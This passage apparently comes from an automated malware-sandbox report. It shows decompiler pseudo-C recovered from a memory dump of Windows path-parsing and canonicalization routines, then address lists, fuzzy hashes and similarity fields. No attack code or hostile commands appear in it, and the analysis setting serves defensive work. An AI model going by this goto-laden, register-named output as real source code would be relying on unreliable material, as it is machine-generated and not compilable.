															__edx = _v88;
															goto L25;
														}
													case 3:
														__eax = E1E0F52A5(__ecx);
														_v84 = __eax;
														_v41 = 1;
														__eflags = __eax;
														if(__eax == 0) {
															__eax =  *[fs:0x30];
															__ebx =  *(__eax + 0x10);
															__ebx =  *(__eax + 0x10) + 0x24;
															__eflags = __ebx;
															__esi = _v76;
														} else {
															__ebx = __eax + 0xc;
														}
														__ecx = __ebx;
														__eax = L1E0F83AE(__ebx);
														_v80 = __eax;
														__ecx =  *__ebx;
														_v72 =  *__ebx;
														__ecx =  *(__ebx + 4);
														_v68 = __ecx;
														__eflags = __eax - 3;
														if(__eax == 3) {
															__eax = 4;
															_v72 = __ax;
														} else {
															__ecx = __eax + __eax;
															_v72 = __cx;
														}
														goto L80;
													case 4:
														_t340 = E1E0F52A5(0);
														_v84 = _t340;
														_v41 = 1;
														__eflags = _t340;
														if(_t340 == 0) {
															_t428 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
															_t445 = _v76;
														} else {
															_t428 = _t340 + 0xc;
															 *((intOrPtr*)(_v108 + 4)) =  *((intOrPtr*)(_t340 + 0x14));
														}
														_v72 =  *_t428;
														_v68 = _t428[2];
														_v80 = L1E0F83AE(_t428);
														L80:
														E1E129BC6( &_v52,  &_v72);
														_t386 = _v48;
														_v56 = _v52 & 0x0000ffff;
														_t425 = _v88;
														goto L25;
													case 5:
														__eax = 4;
														_v80 = 4;
														__esi = 4;
														_v76 = 4;
														__eflags = __edi - 4;
														if(__edi < 4) {
															__esi = __edi;
															_v76 = __esi;
														}
														__eax =  *0x1e0d1080;
														_v72 =  *0x1e0d1080;
														__eax =  *0x1e0d1084;
														_v68 =  *0x1e0d1084;
														__edx =  &_v72;
														__ecx =  &_v52;
														__eax = E1E129BC6(__ecx,  &_v72);
														__eax = _v52 & 0x0000ffff;
														_v56 = __eax;
														__edx = _v88;
														__ebx = _v48;
														__eflags = __eax - 6;
														if(__eax >= 6) {
															__eax =  *(__edx + 4);
															__ax =  *((intOrPtr*)(__eax + 4));
															 *(__ebx + 4) =  *((intOrPtr*)(__eax + 4));
														}
														__eax = _v108;
														__eflags =  *_v108 - 7;
														if( *_v108 == 7) {
															_v57 = 0;
														}
														goto L25;
												}
											} else {
												_v80 = 3;
												L25:
												_t349 = _v104 + (_v72 & 0x0000ffff) - _t445 + _t445;
												_v104 = _t349;
												_t415 = _t349 + 2;
												if(_t415 > _v116) {
													if(_t435 <= 1) {
														if( *( *(_t425 + 4)) != 0x2e) {
															goto L72;
														}
														if(_t435 != 1) {
															asm("sbb esi, esi");
															_t446 =  !_t445 & _v104;
															_v64 = _t446;
															_t439 = _v92;
															L58:
															_t409 = _v84;
															L59:
															_v8 = 0xfffffffe;
															E1E11746D(_t386, _t409, _t439, _t446);
															_t317 = _t446;
															L60:
															 *[fs:0x0] = _v20;
															_pop(_t436);
															_pop(_t444);
															_pop(_t387);
															return E1E13B640(_t317, _t387, _v32 ^ _t453, _t425, _t436, _t444);
														}
														_t417 = _v72;
														if(_t417 != 8) {
															if(_v116 >= (_t417 & 0x0000ffff)) {
																_t352 = _v56;
																_t418 = _t352 & 0x0000ffff;
																_v104 = _t418;
																_t419 = _t418 >> 1;
																_v100 = _t419;
																if(_t419 != 0) {
																	if( *((short*)(_t386 + _t419 * 2 - 2)) == 0x5c) {
																		_t352 = _v104 + 0xfffffffe;
																		_v56 = _t352;
																		_v52 = _t352;
																	}
																}
																L27:
																_t420 = 0;
																_v100 = 0;
																L28:
																L28:
																if(_t420 < (_t352 & 0x0000ffff) >> 1) {
																	goto L69;
																} else {
																	_t422 = (_v56 & 0x0000ffff) >> 1;
																	_v96 = _t422;
																}
																while(_t445 < _t435) {
																	_t363 = ( *(_t425 + 4))[_t445] & 0x0000ffff;
																	if(_t363 == 0x5c) {
																		L44:
																		if(_t422 == 0) {
																			L46:
																			 *(_t386 + _t422 * 2) = 0x5c;
																			_t422 = _t422 + 1;
																			_v96 = _t422;
																			L43:
																			_t445 = _t445 + 1;
																			_v76 = _t445;
																			continue;
																		}
																		if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x5c) {
																			goto L43;
																		}
																		goto L46;
																	}
																	_t365 = _t363 - 0x2e;
																	if(_t365 == 0) {
																		_t126 = _t445 + 1; // 0x2
																		_t366 = _t126;
																		_v104 = _t366;
																		if(_t366 == _t435) {
																			goto L43;
																		}
																		_t367 =  *(_t425 + 4);
																		_t440 =  *(_t367 + 2 + _t445 * 2) & 0x0000ffff;
																		_v108 = _t440;
																		_t435 = _v120;
																		if(_t440 != 0x5c) {
																			if(_v108 == 0x2f) {
																				goto L83;
																			}
																			if(_v108 != 0x2e) {
																				L35:
																				while(_t445 < _t435) {
																					_t369 = ( *(_t425 + 4))[_t445] & 0x0000ffff;
																					if(_t369 == 0x5c || _t369 == 0x2f) {
																						if(_t445 < _t435) {
																							if(_t422 >= 2) {
																								if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x2e) {
																									if( *((short*)(_t386 + _t422 * 2 - 4)) != 0x2e) {
																										_t422 = _t422 - 1;
																										_v96 = _t422;
																									}
																								}
																							}
																						}
																						break;
																					} else {
																						 *(_t386 + _t422 * 2) = _t369;
																						_t422 = _t422 + 1;
																						_v96 = _t422;
																						_t445 = _t445 + 1;
																						_v76 = _t445;
																						continue;
																					}
																				}
																				_t445 = _t445 - 1;
																				_v76 = _t445;
																				goto L43;
																			}
																			_t155 = _t445 + 2; // 0x3
																			_t425 = _v88;
																			if(_t155 == _t435) {
																				while(1) {
																					L103:
																					if(_t422 < _v80) {
																						break;
																					}
																					 *(_t386 + _t422 * 2) = 0;
																					_t425 = _v88;
																					if( *(_t386 + _t422 * 2) != 0x5c) {
																						_t422 = _t422 - 1;
																						_v96 = _t422;
																						continue;
																					} else {
																						goto L105;
																					}
																					while(1) {
																						L105:
																						if(_t422 < _v80) {
																							goto L180;
																						}
																						 *(_t386 + _t422 * 2) = 0;
																						_t435 = _v120;
																						if( *(_t386 + _t422 * 2) == 0x5c) {
																							if(_t422 < _v80) {
																								goto L180;
																							}
																							L110:
																							_t445 = _t445 + 1;
																							_v76 = _t445;
																							goto L43;
																						}
																						_t422 = _t422 - 1;
																						_v96 = _t422;
																					}
																					break;
																				}
																				L180:
																				_t422 = _t422 + 1;
																				_v96 = _t422;
																				goto L110;
																			}
																			_t375 =  *(_t367 + 4 + _t445 * 2) & 0x0000ffff;
																			if(_t375 != 0x5c) {
																				if(_t375 != 0x2f) {
																					goto L35;
																				}
																			}
																			goto L103;
																		}
																		L83:
																		_t445 = _v104;
																		_v76 = _t445;
																		goto L43;
																	}
																	if(_t365 == 1) {
																		goto L44;
																	} else {
																		goto L35;
																	}
																}
																_t449 = _v80;
																if(_v57 != 0) {
																	if(_t422 > _t449) {
																		if( *((short*)(_t386 + _t422 * 2 - 2)) == 0x5c) {
																			_t422 = _t422 - 1;
																			_v96 = _t422;
																		}
																	}
																}
																_t439 = _v92;
																if(_t422 >= _v92) {
																	L52:
																	if(_t422 == 0) {
																		L56:
																		_t425 = _t422 + _t422;
																		_v52 = _t425;
																		if(_v112 != 0) {
																			_t357 = _t422;
																			while(1) {
																				_v100 = _t357;
																				if(_t357 == 0) {
																					break;
																				}
																				if( *((short*)(_t386 + _t357 * 2 - 2)) == 0x5c) {
																					break;
																				}
																				_t357 = _t357 - 1;
																			}
																			if(_t357 >= _t422) {
																				L113:
																				 *_v112 = 0;
																				goto L57;
																			}
																			if(_t357 < _t449) {
																				goto L113;
																			}
																			 *_v112 = _t386 + _t357 * 2;
																		}
																		L57:
																		_t446 = _t425 & 0x0000ffff;
																		_v64 = _t446;
																		goto L58;
																	}
																	_t422 = _t422 - 1;
																	_v96 = _t422;
																	_t360 =  *(_t386 + _t422 * 2) & 0x0000ffff;
																	if(_t360 == 0x20) {
																		goto L51;
																	}
																	if(_t360 == 0x2e) {
																		goto L51;
																	}
																	_t422 = _t422 + 1;
																	_v96 = _t422;
																	goto L56;
																} else {
																	L51:
																	 *(_t386 + _t422 * 2) = 0;
																	goto L52;
																}
																L69:
																if( *((short*)(_t386 + _t420 * 2)) == 0x2f) {
																	 *((short*)(_t386 + _t420 * 2)) = 0x5c;
																}
																_t420 = _t420 + 1;
																_v100 = _t420;
																_t352 = _v56;
																goto L28;
															}
															_t446 = _t417 & 0x0000ffff;
															_v64 = _t446;
															_t439 = _v92;
															goto L58;
														}
														if(_v116 > 8) {
															goto L26;
														}
														_t446 = 0xa;
														_v64 = 0xa;
														_t439 = _v92;
														goto L58;
													}
													L72:
													if(_t415 > 0xffff) {
														_t446 = 0;
													}
													_v64 = _t446;
													_t439 = _v92;
													goto L58;
												}
												L26:
												_t352 = _v56;
												goto L27;
											}
										}
										_t379 = _t336[2] & 0x0000ffff;
										if(_t379 != 0x5c) {
											if(_t379 == 0x2f) {
												goto L22;
											}
											goto L98;
										}
										L22:
										_t337 = 2;
									}
									goto L23;
								}
								_t450 =  *_t336 & 0x0000ffff;
								if(_t450 == 0x5c || _t450 == 0x2f) {
									if(_t407 < 4) {
										L132:
										_t337 = 4;
										goto L23;
									}
									_t451 = _t336[1] & 0x0000ffff;
									if(_t451 != 0x5c) {
										if(_t451 == 0x2f) {
											goto L87;
										}
										goto L132;
									}
									L87:
									if(_t407 < 6) {
										L135:
										_t337 = 1;
										goto L23;
									}
									_t452 = _t336[2] & 0x0000ffff;
									if(_t452 != 0x2e) {
										if(_t452 == 0x3f) {
											goto L89;
										}
										goto L135;
									}
									L89:
									if(_t407 < 8) {
										L134:
										_t337 = ((0 | _t407 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
										goto L23;
									}
									_t384 = _t336[3] & 0x0000ffff;
									if(_t384 != 0x5c) {
										if(_t384 == 0x2f) {
											goto L91;
										}
										goto L134;
									}
									L91:
									_t337 = 6;
									goto L23;
								} else {
									goto L17;
								}
							}
						}
					}
					goto L124;
				}
			}

0x1e116e30
0x1e116e35
0x1e116e37
0x1e116e3c
0x1e116e47
0x1e116e4b
0x1e116e50
0x1e116e53
0x1e116e55
0x1e116e5b
0x1e116e5f
0x1e116e65
0x1e116e68
0x1e116e6a
0x1e116e6d
0x1e116e70
0x1e116e73
0x1e116e76
0x1e116e79
0x1e116e7c
0x1e116e7f
0x1e116e84
0x1e11710f
0x1e11710f
0x1e116e8c
0x1e116e8e
0x1e116e8e
0x1e116e97
0x1e15f5d3
0x1e15f5d3
0x1e116e9d
0x1e116ea3
0x1e116eaa
0x1e116ead
0x1e116eb2
0x1e116eb4
0x1e116eb7
0x1e117466
0x1e117466
0x00000000
0x1e116ebd
0x1e116ebd
0x1e116ec4
0x1e116eca
0x1e116ecc
0x1e116ecf
0x1e116ed2
0x1e116ede
0x1e15f5df
0x1e15f5e0
0x00000000
0x1e15f5e0
0x1e116ee6
0x00000000
0x00000000
0x1e116eec
0x1e116ef3
0x1e117181
0x1e116f02
0x1e116f02
0x1e116f02
0x1e116f0b
0x1e116f0d
0x1e116f10
0x1e116f17
0x1e116f21
0x1e116f24
0x1e116f2d
0x1e116f31
0x1e116f36
0x1e116f3d
0x1e117413
0x1e117416
0x1e117419
0x1e11741c
0x1e117421
0x1e11742b
0x1e11742b
0x1e11742e
0x1e117439
0x1e15f60b
0x1e15f60b
0x1e15f615
0x1e15f619
0x1e11743f
0x1e117447
0x1e117454
0x1e11745a
0x1e11745f
0x1e11745f
0x00000000
0x1e117439
0x1e117425
0x1e15f5e9
0x1e15f5ed
0x1e15f5f4
0x00000000
0x00000000
0x1e15f5fd
0x00000000
0x00000000
0x1e15f603
0x1e15f603
0x00000000
0x1e116f43
0x1e116f43
0x1e116f45
0x1e116f48
0x1e116f4e
0x1e116f65
0x1e116f68
0x1e11721f
0x1e116f83
0x1e116f86
0x1e1172dc
0x1e1172dc
0x1e116f9e
0x1e116fa1
0x1e116fa3
0x1e116fa5
0x1e116fa8
0x1e116fab
0x1e116fae
0x1e116fb1
0x1e116fb4
0x1e116fb6
0x1e116fb9
0x1e116fbf
0x1e11718a
0x1e11718e
0x1e15f831
0x1e15f831
0x1e15f833
0x1e15f836
0x00000000
0x1e15f836
0x1e117194
0x00000000
0x1e15f658
0x1e15f658
0x1e15f65a
0x1e15f65d
0x1e15f662
0x1e15f662
0x1e15f665
0x1e15f667
0x00000000
0x00000000
0x1e15f669
0x1e15f66c
0x1e15f670
0x1e15f673
0x1e15f67a
0x1e15f67a
0x1e15f67b
0x1e15f67e
0x1e15f681
0x00000000
0x00000000
0x1e15f683
0x1e15f683
0x00000000
0x1e15f683
0x1e15f675
0x1e15f678
0x00000000
0x00000000
0x00000000
0x1e15f678
0x1e15f686
0x1e15f688
0x1e15f68b
0x1e15f68e
0x1e15f691
0x1e15f694
0x1e15f698
0x1e15f69c
0x1e15f6a0
0x00000000
0x00000000
0x00000000
0x00000000
0x1e117397
0x1e11739c
0x1e11739f
0x1e1173a3
0x1e1173a5
0x1e15f6bb
0x1e15f6c1
0x1e15f6c4
0x1e1173ab
0x1e1173ab
0x1e1173ab
0x1e1173b1
0x1e1173b5
0x1e1173ba
0x1e1173c0
0x1e1173c3
0x1e1173c7
0x1e1173cc
0x1e1173d0
0x1e1173d3
0x1e15f6cc
0x1e15f6d4
0x1e15f6d9
0x1e15f6dd
0x1e15f6e1
0x1e15f6e5
0x1e15f6f0
0x1e15f6fc
0x1e15f700
0x1e15f709
0x1e15f70e
0x1e15f710
0x1e15f784
0x1e15f788
0x1e15f78b
0x1e15f78e
0x1e15f790
0x1e15f792
0x1e15f795
0x1e15f798
0x1e15f7b7
0x1e15f7b7
0x1e15f7ba
0x1e15f7ba
0x00000000
0x1e15f7ba
0x1e15f79a
0x1e15f79d
0x00000000
0x00000000
0x1e15f79f
0x1e15f7a4
0x1e15f7a7
0x1e15f7ab
0x1e15f7ae
0x1e15f7b1
0x00000000
0x1e15f7b1
0x1e15f712
0x1e15f717
0x1e15f74c
0x1e15f74e
0x1e15f752
0x1e15f756
0x1e15f75d
0x1e15f761
0x1e15f764
0x1e15f76c
0x1e15f771
0x1e15f775
0x1e15f778
0x1e15f77c
0x00000000
0x1e15f77c
0x1e15f719
0x1e15f71d
0x1e15f720
0x1e15f723
0x1e15f726
0x1e15f729
0x1e15f72e
0x1e15f740
0x1e15f744
0x00000000
0x1e15f744
0x1e15f730
0x1e15f732
0x1e15f735
0x1e15f738
0x00000000
0x1e1173d9
0x1e1173d9
0x1e1173db
0x1e1173de
0x1e1173e1
0x1e1173e4
0x1e1173e7
0x1e1173ea
0x1e1173ef
0x1e1173f2
0x1e1173f6
0x1e1173f9
0x1e1173f9
0x1e1173fe
0x1e117401
0x1e117406
0x1e117409
0x00000000
0x1e117409
0x00000000
0x1e15f7c5
0x1e15f7ca
0x1e15f7cd
0x1e15f7d1
0x1e15f7d3
0x1e15f7da
0x1e15f7e0
0x1e15f7e3
0x1e15f7e3
0x1e15f7e6
0x1e15f7d5
0x1e15f7d5
0x1e15f7d5
0x1e15f7e9
0x1e15f7eb
0x1e15f7f0
0x1e15f7f3
0x1e15f7f5
0x1e15f7f8
0x1e15f7fb
0x1e15f7fe
0x1e15f801
0x1e15f80f
0x1e15f814
0x1e15f803
0x1e15f803
0x1e15f806
0x1e15f806
0x00000000
0x00000000
0x1e11719d
0x1e1171a2
0x1e1171a5
0x1e1171a9
0x1e1171ab
0x1e15f826
0x1e15f829
0x1e1171b1
0x1e1171b1
0x1e1171ba
0x1e1171ba
0x1e1171bf
0x1e1171c5
0x1e1171cf
0x1e1171d2
0x1e1171d8
0x1e1171dd
0x1e1171e4
0x1e1171e7
0x00000000
0x00000000
0x1e117275
0x1e11727a
0x1e11727d
0x1e11727f
0x1e117282
0x1e117284
0x1e15f6a8
0x1e15f6aa
0x1e15f6aa
0x1e11728a
0x1e11728f
0x1e117292
0x1e117297
0x1e11729a
0x1e11729d
0x1e1172a0
0x1e1172a5
0x1e1172a9
0x1e1172ac
0x1e1172af
0x1e1172b2
0x1e1172b5
0x1e1172b7
0x1e1172ba
0x1e1172be
0x1e1172be
0x1e1172c2
0x1e1172c5
0x1e1172c8
0x1e15f6b2
0x1e15f6b2
0x00000000
0x00000000
0x1e116fc5
0x1e116fc5
0x1e116fcc
0x1e116fd8
0x1e116fda
0x1e116fdd
0x1e116fe3
0x1e117162
0x1e15f845
0x00000000
0x00000000
0x1e15f84e
0x1e15f8c4
0x1e15f8c8
0x1e15f8cb
0x1e15f8ce
0x1e1170e0
0x1e1170e0
0x1e1170e3
0x1e1170e3
0x1e1170ea
0x1e1170ef
0x1e1170f1
0x1e1170f4
0x1e1170fc
0x1e1170fd
0x1e1170fe
0x1e11710c
0x1e11710c
0x1e15f850
0x1e15f858
0x1e15f87a
0x1e15f88a
0x1e15f88d
0x1e15f890
0x1e15f893
0x1e15f895
0x1e15f898
0x1e15f8a4
0x1e15f8ad
0x1e15f8b0
0x1e15f8b3
0x1e15f8b3
0x1e15f8a4
0x1e116fec
0x1e116fec
0x1e116fee
0x00000000
0x1e116ff1
0x1e116ff8
0x00000000
0x1e116ffe
0x1e117004
0x1e117006
0x1e117006
0x1e117010
0x1e117017
0x1e11701e
0x1e117072
0x1e117074
0x1e11707e
0x1e117083
0x1e117087
0x1e117088
0x1e11706c
0x1e11706c
0x1e11706d
0x00000000
0x1e11706d
0x1e11707c
0x00000000
0x00000000
0x00000000
0x1e11707c
0x1e117020
0x1e117023
0x1e1171ef
0x1e1171ef
0x1e1171f2
0x1e1171f7
0x00000000
0x00000000
0x1e1171fd
0x1e117200
0x1e117205
0x1e11720b
0x1e11720e
0x1e1172eb
0x00000000
0x00000000
0x1e1172f6
0x00000000
0x1e117030
0x1e117037
0x1e11703e
0x1e117055
0x1e11705a
0x1e117062
0x1e15f908
0x1e15f90e
0x1e15f90f
0x1e15f90f
0x1e15f908
0x1e117062
0x1e11705a
0x00000000
0x1e117045
0x1e117045
0x1e117049
0x1e11704a
0x1e11704d
0x1e11704e
0x00000000
0x1e11704e
0x1e11703e
0x1e117068
0x1e117069
0x00000000
0x1e117069
0x1e1172fc
0x1e117301
0x1e117304
0x1e117314
0x1e117314
0x1e117319
0x00000000
0x00000000
0x1e117325
0x1e11732d
0x1e117330
0x1e117356
0x1e117357
0x00000000
0x00000000
0x00000000
0x00000000
0x1e117332
0x1e117332
0x1e117337
0x00000000
0x00000000
0x1e117343
0x1e11734b
0x1e11734e
0x1e117361
0x00000000
0x00000000
0x1e117367
0x1e117367
0x1e117368
0x00000000
0x1e117368
0x1e117350
0x1e117351
0x1e117351
0x00000000
0x1e117332
0x1e15f8f9
0x1e15f8f9
0x1e15f8fa
0x00000000
0x1e15f8fa
0x1e117306
0x1e11730e
0x1e15f8ee
0x00000000
0x00000000
0x1e15f8f4
0x00000000
0x1e11730e
0x1e117214
0x1e117214
0x1e117217
0x00000000
0x1e117217
0x1e11702c
0x00000000
0x00000000
0x00000000
0x00000000
0x1e11702c
0x1e11708d
0x1e117094
0x1e117098
0x1e1170a0
0x1e11738c
0x1e11738d
0x1e11738d
0x1e1170a0
0x1e117098
0x1e1170a6
0x1e1170ab
0x1e1170b3
0x1e1170b5
0x1e1170cd
0x1e1170cd
0x1e1170d0
0x1e1170d8
0x1e11711a
0x1e11711c
0x1e11711c
0x1e117121
0x00000000
0x00000000
0x1e117129
0x00000000
0x00000000
0x1e11712b
0x1e11712b
0x1e117130
0x1e11737e
0x1e117381
0x00000000
0x1e117381
0x1e117138
0x00000000
0x00000000
0x1e117144
0x1e117144
0x1e1170da
0x1e1170da
0x1e1170dd
0x00000000
0x1e1170dd
0x1e1170b7
0x1e1170b8
0x1e1170bb
0x1e1170c2
0x00000000
0x00000000
0x1e1170c7
0x00000000
0x00000000
0x1e1170c9
0x1e1170ca
0x00000000
0x1e1170ad
0x1e1170ad
0x1e1170af
0x00000000
0x1e1170af
0x1e117148
0x1e11714d
0x1e15f8e2
0x1e15f8e2
0x1e117153
0x1e117154
0x1e117157
0x00000000
0x1e117157
0x1e15f87c
0x1e15f87f
0x1e15f882
0x00000000
0x1e15f882
0x1e15f85e
0x00000000
0x00000000
0x1e15f864
0x1e15f869
0x1e15f86c
0x00000000
0x1e15f86c
0x1e117168
0x1e117170
0x1e15f8d6
0x1e15f8d6
0x1e117176
0x1e117179
0x00000000
0x1e117179
0x1e116fe9
0x1e116fe9
0x00000000
0x1e116fe9
0x1e116fbf
0x1e116f8c
0x1e116f93
0x1e1172d6
0x00000000
0x00000000
0x00000000
0x1e1172d6
0x1e116f99
0x1e116f99
0x1e116f99
0x00000000
0x1e116f68
0x1e116f50
0x1e116f56
0x1e11722c
0x1e15f629
0x1e15f629
0x00000000
0x1e15f629
0x1e117232
0x1e117239
0x1e15f623
0x00000000
0x00000000
0x00000000
0x1e15f623
0x1e11723f
0x1e117242
0x1e15f64e
0x1e15f64e
0x00000000
0x1e15f64e
0x1e117248
0x1e11724f
0x1e117373
0x00000000
0x00000000
0x00000000
0x1e117379
0x1e117255
0x1e117258
0x1e15f63c
0x1e15f648
0x00000000
0x1e15f648
0x1e11725e
0x1e117265
0x1e15f636
0x00000000
0x00000000
0x00000000
0x1e15f636
0x1e11726b
0x1e11726b
0x00000000
0x00000000
0x00000000
0x00000000
0x1e116f56
0x1e116f3d
0x1e116ed2
0x00000000
0x1e116ec4

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eaa3cfb8fded6be874c1711b02e30b15db844412c298b6440de19f5c4689c92
Instruction ID: 071ed716415d7f47a4b33354688b8703c1ab94956d5b7995e8b635cdc2b8a4b8
Opcode Fuzzy Hash: 4eaa3cfb8fded6be874c1711b02e30b15db844412c298b6440de19f5c4689c92
Instruction Fuzzy Hash: 60025C71D14255CBCB14CFA9C5A0AADB7B2BF4A700F22463EE856AF394E77098D1CB41

Uniqueness

Uniqueness Score: -1.00%

Function 1E114120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E114120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x1e1ed360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E1E12F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E1E116E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L1E114620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E1E116E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M1E1145F8))) {
												case 0:
													_v568 = 0x1e0d1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x1e0d11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L1E114620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E1E13F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E1E13F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
